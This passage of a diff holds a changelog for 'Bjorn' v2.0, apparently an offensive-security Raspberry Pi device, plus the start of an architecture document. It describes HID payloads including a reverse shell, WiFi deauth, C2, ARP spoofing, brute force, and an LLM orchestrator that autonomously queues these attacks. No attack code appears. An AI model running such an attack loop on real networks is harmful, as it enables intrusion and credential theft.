- Package install: graceful terminate -> wait -> kill cascade with FD cleanup
|
||||
|
||||
### Multilingual Comments Import
|
||||
- `comment.py` `_ensure_comments_loaded()` now imports all `comments.*.json` files on every startup
|
||||
- Drop `comments.fr.json`, `comments.de.json`, etc. next to `comments.en.json` for automatic multi-language support
|
||||
- Existing comments untouched via `INSERT OR IGNORE` (unique index dedup)
|
||||
|
||||
---
|
||||
|
||||
## [2.0.0] — 2025/2026 Major Release
|
||||
|
||||
### TL;DR — What's New
|
||||
|
||||
| Area | v1 (alpha 2) | v2 (this release) |
|
||||
|------|-------------|-------------------|
|
||||
| Python codebase | ~8,200 lines | **~58,000 lines** (7x) |
|
||||
| Web frontend | ~2,100 lines (6 static HTML pages) | **~42,000 lines** (25-page SPA) |
|
||||
| Action modules | 17 | **32** |
|
||||
| Database | Monolithic SQLite helper | **Modular facade** (18 specialized modules) |
|
||||
| AI/ML | Basic heuristic scoring | **Full RL engine** + LLM orchestrator + MCP server |
|
||||
| Web UI | Static multi-page HTML | **Hash-routed SPA** with lazy-loading, theming, i18n |
|
||||
| Languages | English only | **7 languages** (EN, FR, ES, DE, IT, RU, ZH) |
|
||||
| WiFi recon | None | **Bifrost engine** (Pwnagotchi-compatible) |
|
||||
| HID attacks | None | **Loki module** (USB Rubber Ducky-style) |
|
||||
| Network watchdog | None | **Sentinel engine** (9 detection modules) |
|
||||
| C2 server | None | **ZombieLand** (encrypted C2 with agent management) |
|
||||
| LLM integration | None | **LLM Bridge** + MCP Server + Autonomous Orchestrator |
|
||||
| Display | Basic 2.13" e-paper | **Multi-size EPD** + web-based layout editor |
|
||||
|
||||
---
|
||||
|
||||
### New Major Features
|
||||
|
||||
#### AI & LLM Integration — Bjorn Gets a Brain
|
||||
|
||||
- **LLM Bridge** (`llm_bridge.py`) — Singleton, thread-safe LLM backend with automatic cascade:
|
||||
1. LaRuche swarm node (LAND protocol / mDNS auto-discovery)
|
||||
2. Local Ollama instance
|
||||
3. External API (Anthropic / OpenAI / OpenRouter)
|
||||
4. Graceful fallback to templates
|
||||
- **Agentic tool-calling loop** — Up to 6-turn tool-use cycles with Anthropic API, enabling the LLM to query live network data and queue actions autonomously
|
||||
- **MCP Server** (`mcp_server.py`) — Model Context Protocol server exposing 7 Bjorn tools (`get_hosts`, `get_vulnerabilities`, `get_credentials`, `get_action_history`, `get_status`, `run_action`, `query_db`), compatible with Claude Desktop and any MCP client
|
||||
- **LLM Orchestrator** (`llm_orchestrator.py`) — Three operating modes:
|
||||
- `none` — LLM disabled (default, zero overhead)
|
||||
- `advisor` — LLM suggests one action per cycle (priority 85)
|
||||
- `autonomous` — Own daemon thread, full tool-calling loop, LLM becomes sole master of the action queue
|
||||
- **Smart fingerprint skip** — Autonomous mode only calls the LLM when network state actually changes (new hosts, vulns, or credentials), saving API tokens
|
||||
- **LAND Protocol** (`land_protocol.py`) — Native Python client for Local AI Network Discovery, auto-detects LaRuche inference nodes on LAN via mDNS
|
||||
- **LLM-powered EPD comments** — E-paper display comments optionally generated by LLM with Norse personality, seamless fallback to database templates
|
||||
- **Web chat interface** — Terminal-style chat with the LLM, tool-calling support, orchestrator reasoning log viewer
|
||||
- **LLM configuration page** — Full web UI for all LLM/MCP settings, connection testing, per-tool access control
|
||||
- **45+ new configuration parameters** for LLM bridge, MCP server, and orchestrator
|
||||
|
||||
#### Bifrost — WiFi Reconnaissance Engine
|
||||
|
||||
- **Pwnagotchi-compatible** WiFi recon daemon running alongside all Bjorn modes
|
||||
- **BettercapClient** — Full HTTP API client for bettercap (session control, WiFi module management, handshake capture)
|
||||
- **BifrostAgent** — Drives channel hopping, AP tracking, client deauth, handshake collection
|
||||
- **BifrostAutomata** — State machine (MANUAL, AUTOMATIC, BORED, SAD, EXCITED, LONELY) controlling recon aggressiveness
|
||||
- **BifrostEpoch** — Tracks WiFi recon epochs with reward calculation
|
||||
- **BifrostVoice** — Personality/mood system for EPD display messages
|
||||
- **Plugin system** — Extensible event-driven plugin architecture
|
||||
- **Dedicated web page** (`bifrost.js`) for real-time WiFi recon monitoring
|
||||
- **Database module** (`db_utils/bifrost.py`) for persistent handshake and AP storage
|
||||
- **Monitor mode management** — Automatic WiFi interface setup/teardown scripts
|
||||
|
||||
#### Loki — USB HID Attack Framework
|
||||
|
||||
- **USB Rubber Ducky-style HID injection** via Raspberry Pi USB gadget mode
|
||||
- **HID Controller** (`loki/hid_controller.py`) — Low-level USB HID keyboard/mouse report writer to `/dev/hidg0`/`/dev/hidg1`
|
||||
- **HIDScript engine** (`loki/hidscript.py`) — JavaScript-based payload scripting language
|
||||
- **Multi-language keyboard layouts** — US, FR, DE, ES, IT, RU, UK, ZH with JSON layout definitions and auto-generation tool
|
||||
- **Pre-built payloads** — Hello World, Reverse Shell (Linux), Rickroll, WiFi credential exfiltration (Windows)
|
||||
- **Job queue** (`loki/jobs.py`) — Managed execution of HID payloads with status tracking
|
||||
- **Loki Deceiver action** (`actions/loki_deceiver.py`) — Rogue access point creation for WiFi authentication capture and MITM
|
||||
- **Dedicated web page** (`loki.js`) for payload management and execution
|
||||
- **Database module** (`db_utils/loki.py`) for job persistence
|
||||
|
||||
#### Sentinel — Network Watchdog Engine
|
||||
|
||||
- **9 detection modules** running as a lightweight background daemon:
|
||||
- `new_device` — Never-seen MAC appears on the network
|
||||
- `device_join` — Known device comes back online
|
||||
- `device_leave` — Known device goes offline
|
||||
- `arp_spoof` — Same IP claimed by multiple MACs (ARP cache conflict)
|
||||
- `port_change` — Host ports changed since last snapshot
|
||||
- `service_change` — New service detected on known host
|
||||
- `rogue_dhcp` — Multiple DHCP servers detected
|
||||
- `dns_anomaly` — DNS response pointing to unexpected IP
|
||||
- `mac_flood` — Sudden burst of new MACs (possible MAC flooding attack)
|
||||
- **Zero extra network traffic** — All checks read from existing Bjorn DB
|
||||
- **Configurable severity levels** (info, warning, critical)
|
||||
- **Dedicated web page** (`sentinel.js`) for alert browsing and rule management
|
||||
- **Database module** (`db_utils/sentinel.py`) for alert persistence
|
||||
|
||||
#### ZombieLand — Command & Control Infrastructure
|
||||
|
||||
- **C2 Manager** (`c2_manager.py`) — Professional C2 server with:
|
||||
- Encrypted agent communication (Fernet)
|
||||
- SSH-based agent registration via Paramiko
|
||||
- Agent heartbeat monitoring and health tracking
|
||||
- Job dispatch and result collection
|
||||
- UUID-based agent identification
|
||||
- **Dedicated web page** (`zombieland.js`) with SSE-powered real-time agent monitoring
|
||||
- **Database module** (`db_utils/agents.py`) for agent and job persistence
|
||||
- **Marked as experimental** with appropriate UI warnings
|
||||
|
||||
---
|
||||
|
||||
### New Action Modules (15 New Actions)
|
||||
|
||||
| Action | Module | Description |
|
||||
|--------|--------|-------------|
|
||||
| **ARP Spoofer** | `arp_spoofer.py` | Bidirectional ARP cache poisoning for MITM positioning with automatic gateway detection and clean ARP table restoration |
|
||||
| **Berserker Force** | `berserker_force.py` | Service resilience stress-testing — baseline measurement, controlled TCP/SYN/HTTP load testing, performance degradation quantification |
|
||||
| **DNS Pillager** | `dns_pillager.py` | Comprehensive DNS reconnaissance — reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), zone transfer attempts |
|
||||
| **Freya Harvest** | `freya_harvest.py` | Network-wide data harvesting and consolidation action |
|
||||
| **Heimdall Guard** | `heimdall_guard.py` | Advanced stealth module for traffic manipulation and IDS/IPS evasion |
|
||||
| **Loki Deceiver** | `loki_deceiver.py` | Rogue access point creation for WiFi authentication capture and MITM attacks |
|
||||
| **Odin Eye** | `odin_eye.py` | Passive network analyzer for credential and data pattern hunting |
|
||||
| **Rune Cracker** | `rune_cracker.py` | Advanced hash/credential cracking module |
|
||||
| **Thor Hammer** | `thor_hammer.py` | Lightweight service fingerprinting via TCP connect + banner grab (Pi Zero friendly, no nmap dependency) |
|
||||
| **Valkyrie Scout** | `valkyrie_scout.py` | Web surface reconnaissance — probes common paths, extracts auth types, login forms, missing security headers, error/debug strings |
|
||||
| **Yggdrasil Mapper** | `yggdrasil_mapper.py` | Network topology mapper via traceroute with service enrichment from DB and merged JSON topology graph |
|
||||
| **Web Enumeration** | `web_enum.py` | Web service enumeration and directory discovery |
|
||||
| **Web Login Profiler** | `web_login_profiler.py` | Web login form detection and profiling |
|
||||
| **Web Surface Mapper** | `web_surface_mapper.py` | Web application surface mapping and endpoint discovery |
|
||||
| **WPAsec Potfiles** | `wpasec_potfiles.py` | WPA-sec.stanev.org potfile integration for WiFi password recovery |
|
||||
| **Presence Join** | `presence_join.py` | Event-triggered action when a host joins the network (priority 90) |
|
||||
| **Presence Leave** | `presence_left.py` | Event-triggered action when a host leaves the network (priority 90) |
|
||||
| **Demo Action** | `demo_action.py` | Template/demonstration action for community developers |
|
||||
|
||||
### Improved Action Modules
|
||||
|
||||
- All bruteforce actions (SSH, FTP, SMB, SQL, Telnet) **rewritten** with shared `bruteforce_common.py` module providing:
|
||||
- `ProgressTracker` class for unified EPD progress reporting
|
||||
- Standardized credential iteration and result handling
|
||||
- Configurable rate limiting and timeout management
|
||||
- **Scanning action** (`scanning.py`) improved with better network discovery and host tracking
|
||||
- **Nmap Vulnerability Scanner** refined with better CVE parsing and result persistence
|
||||
- All steal/exfiltrate modules updated for new database schema compatibility
|
||||
|
||||
### Removed Actions
|
||||
|
||||
| Action | Reason |
|
||||
|--------|--------|
|
||||
| `rdp_connector.py` / `steal_files_rdp.py` | Replaced by more capable modules |
|
||||
| `log_standalone.py` / `log_standalone2.py` | Consolidated into proper logging system |
|
||||
| `ftp_connector.py`, `smb_connector.py`, etc. | Connector pattern replaced by dedicated bruteforce modules |
|
||||
|
||||
---
|
||||
|
||||
### Web Interface — Complete Rewrite
|
||||
|
||||
#### Architecture Revolution
|
||||
|
||||
- **Static multi-page HTML** (6 pages) replaced by a **hash-routed Single Page Application** with 25 lazy-loaded page modules
|
||||
- **SPA Router** (`web/js/core/router.js`) — Hash-based routing with guaranteed `unmount()` cleanup before page transitions
|
||||
- **ResourceTracker** (`web/js/core/resource-tracker.js`) — Automatic tracking and cleanup of intervals, timeouts, event listeners, and AbortControllers per page — **zero memory leaks**
|
||||
- **Single `index.html`** entry point replaces 6 separate HTML files
|
||||
- **Modular CSS** — Global stylesheet + per-page CSS files (`web/css/pages/*.css`)
|
||||
|
||||
#### New Web Pages (19 New Pages)
|
||||
|
||||
| Page | Module | Description |
|
||||
|------|--------|-------------|
|
||||
| **Dashboard** | `dashboard.js` | Real-time system stats, resource monitoring, uptime tracking |
|
||||
| **Actions** | `actions.js` | Action browser with enable/disable toggles and configuration |
|
||||
| **Actions Studio** | `actions-studio.js` | Visual action pipeline editor with drag-and-drop canvas |
|
||||
| **Attacks** | `attacks.js` | Attack configuration with image upload and EPD layout editor tab |
|
||||
| **Backup** | `backup.js` | Database backup/restore management |
|
||||
| **Bifrost** | `bifrost.js` | WiFi recon monitoring dashboard |
|
||||
| **Database** | `database.js` | Direct database browser and query tool |
|
||||
| **Files** | `files.js` | File manager with upload, drag-drop, rename, delete |
|
||||
| **LLM Chat** | `llm-chat.js` | Terminal-style LLM chat with tool-calling and orch log viewer |
|
||||
| **LLM Config** | `llm-config.js` | Full LLM/MCP configuration panel |
|
||||
| **Loki** | `loki.js` | HID attack payload management and execution |
|
||||
| **RL Dashboard** | `rl-dashboard.js` | Reinforcement Learning metrics and model performance visualization |
|
||||
| **Scheduler** | `scheduler.js` | Action scheduler configuration and monitoring |
|
||||
| **Sentinel** | `sentinel.js` | Network watchdog alerts and rule management |
|
||||
| **Vulnerabilities** | `vulnerabilities.js` | CVE browser with modal details and feed sync |
|
||||
| **Web Enum** | `web-enum.js` | Web enumeration results browser with status filters |
|
||||
| **ZombieLand** | `zombieland.js` | C2 agent management dashboard (experimental) |
|
||||
| **Bjorn Debug** | `bjorn-debug.js` | System debug information and diagnostics |
|
||||
| **Scripts** | (via scheduler) | Custom script upload and execution |
|
||||
|
||||
#### Improved Existing Pages
|
||||
|
||||
- **Network** (`network.js`) — D3 force-directed graph completely rewritten with proper cleanup on unmount, lazy D3 loading, search debounce, simulation stop
|
||||
- **Credentials** (`credentials.js`) — AbortController tracking, toast timer cleanup, proper state reset
|
||||
- **Loot** (`loot.js`) — Search timer cleanup, ResourceTracker integration
|
||||
- **NetKB** (`netkb.js`) — View mode persistence, filter tracking, pagination integration
|
||||
- **Bjorn/EPD** (`bjorn.js`) — Image refresh tracking, zoom controls, null EPD state handling
|
||||
|
||||
#### Internationalization (i18n)
|
||||
|
||||
- **7 supported languages**: English, French, Spanish, German, Italian, Russian, Chinese
|
||||
- **i18n module** (`web/js/core/i18n.js`) with JSON translation files, `t()` helper function, and `data-i18n` attribute auto-translation
|
||||
- **Fallback chain**: Current language -> English -> developer warning
|
||||
- **Language selector** in UI with `localStorage` persistence
|
||||
|
||||
#### Theming Engine
|
||||
|
||||
- **Theme module** (`web/js/core/theme.js`) — CSS variable-based theming system
|
||||
- **Preset themes** including default "Nordic Acid" (dark green/cyan)
|
||||
- **User custom themes** with color picker + raw CSS editing
|
||||
- **Icon pack switching** via icon registry
|
||||
- **Theme import/export** as JSON
|
||||
- **Live preview** — changes applied instantly without page reload
|
||||
- **`localStorage` persistence** across sessions
|
||||
|
||||
#### Other Frontend Features
|
||||
|
||||
- **Console SSE** (`web/js/core/console-sse.js`) — Server-Sent Events for real-time log streaming with reconnect logic
|
||||
- **Quick Panel** (`web/js/core/quickpanel.js`) — Fast-access control panel
|
||||
- **Sidebar Layout** (`web/js/core/sidebar-layout.js`) — Collapsible sidebar navigation
|
||||
- **Settings Config** (`web/js/core/settings-config.js`) — Dynamic form generation from config schema with chip editor
|
||||
- **EPD Layout Editor** (`web/js/core/epd-editor.js`) — SVG drag-and-drop editor for e-paper display layouts with grid/snap, zoom (50-600%), undo stack, element properties panel
|
||||
- **D3.js v7** bundled for network topology visualization
|
||||
- **PWA Manifest** updated for installable web app experience
|
||||
|
||||
---
|
||||
|
||||
### Core Engine Improvements
|
||||
|
||||
#### Database — Modular Facade Architecture
|
||||
|
||||
- **Complete database rewrite** — Monolithic SQLite helper replaced by `BjornDatabase` facade delegating to **18 specialized modules** in `db_utils/`:
|
||||
- `base.py` — Connection management, thread-safe connection pool
|
||||
- `config.py` — Configuration CRUD operations
|
||||
- `hosts.py` — Host discovery and tracking
|
||||
- `actions.py` — Action metadata and history
|
||||
- `queue.py` — Action queue with priority system and circuit breaker
|
||||
- `vulnerabilities.py` — CVE vulnerability storage
|
||||
- `software.py` — Software inventory
|
||||
- `credentials.py` — Credential storage
|
||||
- `services.py` — Service/port tracking
|
||||
- `scripts.py` — Custom script management
|
||||
- `stats.py` — Statistics and metrics
|
||||
- `backups.py` — Database backup/restore
|
||||
- `comments.py` — EPD comment templates
|
||||
- `agents.py` — C2 agent management
|
||||
- `studio.py` — Actions Studio pipeline data
|
||||
- `webenum.py` — Web enumeration results
|
||||
- `sentinel.py` — Sentinel alert storage
|
||||
- `bifrost.py` — WiFi recon data
|
||||
- `loki.py` — HID attack job storage
|
||||
- **Full backward compatibility** maintained via `__getattr__` delegation
|
||||
|
||||
#### Orchestrator — Smarter, More Resilient
|
||||
|
||||
- **Action Scheduler** (`action_scheduler.py`) — Complete rewrite with:
|
||||
- Trigger evaluation system (`on_host_alive`, `on_port_change`, `on_web_service`, `on_join`, `on_leave`, `on_start`, `on_success:*`)
|
||||
- Requirements checking with dependency resolution
|
||||
- Cooldown and rate limiting per action
|
||||
- Priority queue processing
|
||||
- Circuit breaker integration
|
||||
- LLM autonomous mode skip option
|
||||
- **Per-action circuit breaker** — 3-state machine (closed -> open -> half-open) with exponential backoff, prevents repeated failures from wasting resources
|
||||
- **Global concurrency limiter** — DB-backed running action count check, configurable `semaphore_slots`
|
||||
- **Manual mode with active scanning** — Background scan timer keeps network discovery running even in manual mode
|
||||
- **Runtime State Updater** (`runtime_state_updater.py`) — Dedicated background thread keeping display-facing data fresh, decoupled from render loop
|
||||
|
||||
#### AI/ML Engine — From Heuristic to Reinforcement Learning
|
||||
|
||||
- **AI Engine** (`ai_engine.py`) — Full reinforcement learning decision engine:
|
||||
- Feature-based action scoring
|
||||
- Model versioning with up to 3 versions on disk
|
||||
- Auto-rollback if average reward drops after 50 decisions
|
||||
- Cold-start bootstrap with persistent per-(action, port_profile) running averages
|
||||
- Blended heuristic/bootstrap scoring during warm-up phase
|
||||
- **Feature Logger** (`feature_logger.py`) — Structured feature logging for ML training with variance-based feature selection
|
||||
- **Data Consolidator** (`data_consolidator.py`) — Aggregates logged features into training-ready datasets exportable for TensorFlow/PyTorch
|
||||
- **Continuous reward shaping** — Novelty bonus, repeat penalty, diminishing returns, partial credit for long-running failed actions
|
||||
- **AI utility modules** (`ai_utils.py`) for shared ML helper functions
|
||||
|
||||
#### Display — Multi-Size EPD Support
|
||||
|
||||
- **Display Layout Engine** (`display_layout.py`) — JSON-based element positioning system:
|
||||
- Built-in layouts for 2.13" and 2.7" Waveshare e-paper displays
|
||||
- 20+ positionable UI elements (icons, text, bars, status indicators)
|
||||
- Custom layout override via `resources/layouts/{epd_type}.json`
|
||||
- `px()`/`py()` scaling preserved for resolution independence
|
||||
- **EPD Manager** (`epd_manager.py`) — Abstraction layer over Waveshare EPD hardware
|
||||
- **Web-based EPD Layout Editor** — SVG drag-and-drop canvas with:
|
||||
- Corner resize handles
|
||||
- Color/NB/BN display mode preview
|
||||
- Grid/snap, zoom (50-600%), toggleable element labels
|
||||
- Add/delete elements, import/export layout JSON
|
||||
- 50-deep undo stack (Ctrl+Z)
|
||||
- Color-coded elements by type
|
||||
- Arrow key nudge, keyboard shortcuts
|
||||
- **Display module** (`display.py`) grew from 390 to **1,130 lines** with multi-layout rendering pipeline
|
||||
|
||||
#### Web Server — Massive Expansion
|
||||
|
||||
- **webapp.py** grew from 222 to **1,037 lines**
|
||||
- **18 web utility modules** in `web_utils/` (was: 0):
|
||||
- `action_utils.py`, `attack_utils.py`, `backup_utils.py`, `bifrost_utils.py`
|
||||
- `bluetooth_utils.py`, `c2_utils.py`, `character_utils.py`, `comment_utils.py`
|
||||
- `db_utils.py`, `debug_utils.py`, `file_utils.py`, `image_utils.py`
|
||||
- `index_utils.py`, `llm_utils.py`, `loki_utils.py`, `netkb_utils.py`
|
||||
- `network_utils.py`, `orchestrator_utils.py`, `rl_utils.py`, `script_utils.py`
|
||||
- `sentinel_utils.py`, `studio_utils.py`, `system_utils.py`, `vuln_utils.py`
|
||||
- `webenum_utils.py`
|
||||
- **Paginated API endpoints** for heavy data (`?page=N&per_page=M`)
|
||||
- **RESTful API** covering all new features (LLM, MCP, Sentinel, Bifrost, Loki, C2, EPD editor, backups, etc.)
|
||||
|
||||
#### Configuration — Greatly Expanded
|
||||
|
||||
- **shared.py** grew from 685 to **1,502 lines** — more than doubled
|
||||
- **New configuration sections**:
|
||||
- LLM Bridge (14 parameters)
|
||||
- MCP Server (4 parameters)
|
||||
- LLM Orchestrator (7 parameters)
|
||||
- AI/ML Engine (feature selection, model versioning, cold-start bootstrap)
|
||||
- Circuit breaker (threshold, cooldown)
|
||||
- Manual mode scanning (interval, auto-scan toggle)
|
||||
- Sentinel watchdog settings
|
||||
- Bifrost WiFi recon settings
|
||||
- Loki HID attack settings
|
||||
- Runtime state updater timings
|
||||
- **Default config system** — `resources/default_config/` with bundled default action modules and comment templates
|
||||
|
||||
---
|
||||
|
||||
### Security Fixes
|
||||
|
||||
- **[SEC-01]** Eliminated all `shell=True` subprocess calls — replaced with safe argument lists
|
||||
- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler to prevent path traversal
|
||||
- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated validation helper to prevent symlink-based path traversal
|
||||
- **[SEC-04]** Cortex config secrets replaced with placeholder values, properly `.gitignore`d
|
||||
- **[SEC-05]** Added JWT authentication to Cortex WebSocket `/ws/logs` endpoint
|
||||
- **[SEC-06]** Cortex device API authentication now required by default, CORS configurable via environment variable
|
||||
- **MCP security** — Per-tool access control via `mcp_allowed_tools`, `query_db` restricted to SELECT only
|
||||
- **File operations** — All file upload/download/delete operations use canonicalized path validation
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **[BT-01]** Replaced bare `except:` clauses with specific exception handling + logging in Bluetooth utils
|
||||
- **[BT-02]** Added null address validation in Bluetooth route entry points
|
||||
- **[BT-03]** Added `threading.Lock` for `bt.json` read/write (race condition fix)
|
||||
- **[BT-04]** Changed `auto_bt_connect` service restart to non-fatal (`check=False`)
|
||||
- **[WEB-01]** Fixed SSE reconnect counter — only resets after 5+ consecutive healthy messages (was: reset on every single message, enabling infinite reconnect loops)
|
||||
- **[WEB-02]** Removed empty string from `silent_routes` that was suppressing ALL log messages
|
||||
- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount
|
||||
- **[ORCH-BUG]** Fixed Auto->Manual mode switch not resetting status to IDLE (4-location fix across `orchestrator.py`, `Bjorn.py`, and `orchestrator_utils.py`)
|
||||
- Fixed D3 network graph memory leaks on page navigation
|
||||
- Fixed multiple zombie timer and event listener leaks across all SPA pages
|
||||
- Fixed search debounce timers not being cleaned up on unmount
|
||||
|
||||
### Quality & Stability
|
||||
|
||||
- **Standardized error handling** across all `web_utils` modules with consistent JSON response format
|
||||
- **Magic numbers extracted** to named constants throughout the codebase
|
||||
- **All 18 SPA pages** reviewed and hardened:
|
||||
- 11 pages fully rewritten with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers
|
||||
- 7 pages with targeted fixes for memory leaks, zombie timers, state reset issues
|
||||
- **Uniform action metadata format** — All actions use AST-friendly `b_*` module-level constants for class, module, status, port, service, trigger, priority, cooldown, rate_limit, etc.
|
||||
|
||||
---
|
||||
|
||||
### Infrastructure & DevOps
|
||||
|
||||
- **Mode Switcher** (`mode-switcher.sh`) — Shell script for switching between operation modes
|
||||
- **Bluetooth setup** (`bjorn_bluetooth.sh`) — Automated Bluetooth service configuration
|
||||
- **USB Gadget setup** (`bjorn_usb_gadget.sh`) — USB HID gadget mode configuration for Loki
|
||||
- **WiFi setup** (`bjorn_wifi.sh`) — WiFi interface and monitor mode management
|
||||
- **MAC prefix database** (`data/input/prefixes/nmap-mac-prefixes.txt`) — Vendor identification for discovered devices
|
||||
- **Common wordlists** (`data/input/wordlists/common.txt`) — Built-in wordlist for web enumeration
|
||||
|
||||
### Dependencies
|
||||
|
||||
**Added:**
|
||||
- `zeroconf>=0.131.0` — LaRuche/LAND mDNS auto-discovery
|
||||
- `paramiko` — SSH operations for C2 agent communication (moved from optional to core)
|
||||
- `cryptography` (via Fernet) — C2 communication encryption
|
||||
|
||||
**Removed:**
|
||||
- `Pillow==9.4.0` — No longer pinned (use system version)
|
||||
- `rich==13.9.4` — Removed (was used for standalone logging)
|
||||
- `pandas==2.2.3` — Removed (lightweight alternatives used instead)
|
||||
|
||||
**Optional (documented):**
|
||||
- `mcp[cli]>=1.0.0` — MCP server support
|
||||
|
||||
---
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
- **Web UI URLs changed** — Individual page URLs (`/bjorn.html`, `/config.html`, etc.) replaced by SPA hash routes (`/#/bjorn`, `/#/settings`, etc.)
|
||||
- **Database schema expanded** — New tables for actions queue, circuit breaker, sentinel alerts, bifrost data, loki jobs, C2 agents, web enumeration, studio pipelines. Migration is automatic.
|
||||
- **Configuration keys expanded** — `shared_config.json` now contains 45+ additional keys. Unknown keys are safely ignored; new defaults are applied automatically.
|
||||
- **Action module format updated** — Actions now use `b_*` metadata constants instead of class-level attributes. Old-format actions will need migration.
|
||||
- **RDP actions removed** — `rdp_connector.py` and `steal_files_rdp.py` dropped in favor of more capable modules.
|
||||
|
||||
---
|
||||
|
||||
### Stats
|
||||
|
||||
```
|
||||
Component | v1 | v2 | Change
|
||||
─────────────────────┼───────────┼─────────────┼──────────
|
||||
Python files | 37 | 130+ | +250%
|
||||
Python LoC | ~8,200 | ~58,000 | +607%
|
||||
JS/CSS/HTML LoC | ~2,100 | ~42,000 | +1,900%
|
||||
Action modules | 17 | 32 | +88%
|
||||
Web pages | 6 | 25 | +317%
|
||||
DB modules | 1 | 18 | +1,700%
|
||||
Web API modules | 0 | 18+ | New
|
||||
Config parameters | ~80 | ~180+ | +125%
|
||||
Supported languages | 1 | 7 | +600%
|
||||
Shell scripts | 3 | 5 | +67%
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*Skol! The Cyberviking has evolved.*
|
||||
@@ -1,916 +0,0 @@
|
||||
# BJORN — LLM Bridge, MCP Server & LLM Orchestrator
|
||||
## Complete architecture, operation, commands, fallbacks
|
||||
|
||||
---
|
||||
|
||||
## Table of contents
|
||||
|
||||
1. [Overview](#1-overview)
|
||||
2. [Created / modified files](#2-created--modified-files)
|
||||
3. [LLM Bridge (`llm_bridge.py`)](#3-llm-bridge-llm_bridgepy)
|
||||
4. [MCP Server (`mcp_server.py`)](#4-mcp-server-mcp_serverpy)
|
||||
5. [LLM Orchestrator (`llm_orchestrator.py`)](#5-llm-orchestrator-llm_orchestratorpy)
|
||||
6. [Orchestrator & Scheduler integration](#6-orchestrator--scheduler-integration)
|
||||
7. [Web Utils LLM (`web_utils/llm_utils.py`)](#7-web-utils-llm-web_utilsllm_utilspy)
|
||||
8. [EPD comment integration (`comment.py`)](#8-epd-comment-integration-commentpy)
|
||||
9. [Configuration (`shared.py`)](#9-configuration-sharedpy)
|
||||
10. [HTTP Routes (`webapp.py`)](#10-http-routes-webapppy)
|
||||
11. [Web interfaces](#11-web-interfaces)
|
||||
12. [Startup (`Bjorn.py`)](#12-startup-bjornpy)
|
||||
13. [LaRuche / LAND Protocol compatibility](#13-laruche--land-protocol-compatibility)
|
||||
14. [Optional dependencies](#14-optional-dependencies)
|
||||
15. [Quick activation & configuration](#15-quick-activation--configuration)
|
||||
16. [Complete API endpoint reference](#16-complete-api-endpoint-reference)
|
||||
17. [Queue priority system](#17-queue-priority-system)
|
||||
18. [Fallbacks & graceful degradation](#18-fallbacks--graceful-degradation)
|
||||
19. [Call sequences](#19-call-sequences)
|
||||
|
||||
---
|
||||
|
||||
## 1. Overview
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ BJORN (RPi) │
|
||||
│ │
|
||||
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────────────┐ │
|
||||
│ │ Core BJORN │ │ MCP Server │ │ Web UI │ │
|
||||
│ │ (unchanged) │ │ (mcp_server.py) │ │ /chat.html │ │
|
||||
│ │ │ │ 7 exposed tools │ │ /mcp-config.html │ │
|
||||
│ │ comment.py │ │ HTTP SSE / stdio │ │ ↳ Orch Log button │ │
|
||||
│ │ ↕ LLM hook │ │ │ │ │ │
|
||||
│ └──────┬──────┘ └────────┬─────────┘ └──────────┬──────────┘ │
|
||||
│ └─────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────────────────▼─────────────────────────────────┐ │
|
||||
│ │ LLM Bridge (llm_bridge.py) │ │
|
||||
│ │ Singleton · Thread-safe │ │
|
||||
│ │ │ │
|
||||
│ │ Automatic cascade: │ │
|
||||
│ │ 1. LaRuche node (LAND/mDNS → HTTP POST /infer) │ │
|
||||
│ │ 2. Local Ollama (HTTP POST /api/chat) │ │
|
||||
│ │ 3. External API (Anthropic / OpenAI / OpenRouter) │ │
|
||||
│ │ 4. None (→ fallback templates in comment.py) │ │
|
||||
│ │ │ │
|
||||
│ │ Agentic tool-calling loop (stop_reason=tool_use, ≤6 turns) │ │
|
||||
│ │ _BJORN_TOOLS: 7 tools in Anthropic format │ │
|
||||
│ └─────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────────────────▼─────────────────────────────────┐ │
|
||||
│ │ LLM Orchestrator (llm_orchestrator.py) │ │
|
||||
│ │ │ │
|
||||
│ │ mode = none → LLM has no role in scheduling │ │
|
||||
│ │ mode = advisor → LLM suggests 1 action/cycle (prio 85) │ │
|
||||
│ │ mode = autonomous→ own thread, loop + tools (prio 82) │ │
|
||||
│ │ │ │
|
||||
│ │ Fingerprint (hosts↑, vulns↑, creds↑, queue_id↑) │ │
|
||||
│ │ → skip LLM if nothing new (token savings) │ │
|
||||
│ └─────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────────────────▼─────────────────────────────────┐ │
|
||||
│ │ Action Queue (SQLite) │ │
|
||||
│ │ scheduler=40 normal=50 MCP=80 autonomous=82 advisor=85│ │
|
||||
│ └─────────────────────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────────────────────┘
|
||||
↕ mDNS _ai-inference._tcp.local. (zeroconf)
|
||||
┌──────────────────────────────────────────┐
|
||||
│ LaRuche Swarm (LAN) │
|
||||
│ Node A → Mistral 7B :8419 │
|
||||
│ Node B → DeepSeek Coder :8419 │
|
||||
│ Node C → Phi-3 Mini :8419 │
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Design principles:**
|
||||
- Everything is **disabled by default** — zero impact if not configured
|
||||
- All dependencies are **optional** — silent import if missing
|
||||
- **Systematic fallback** at every level — Bjorn never crashes because of the LLM
|
||||
- The bridge is a **singleton** — one instance per process, thread-safe
|
||||
- EPD comments preserve their **exact original behaviour** if LLM is disabled
|
||||
- The LLM is the **brain** (decides what to do), the orchestrator is the **arms** (executes)
|
||||
|
||||
---
|
||||
|
||||
## 2. Created / modified files
|
||||
|
||||
### Created files
|
||||
|
||||
| File | Approx. size | Role |
|
||||
|------|-------------|------|
|
||||
| `llm_bridge.py` | ~450 lines | LLM Singleton — backend cascade + agentic tool-calling loop |
|
||||
| `mcp_server.py` | ~280 lines | FastMCP MCP Server — 7 Bjorn tools |
|
||||
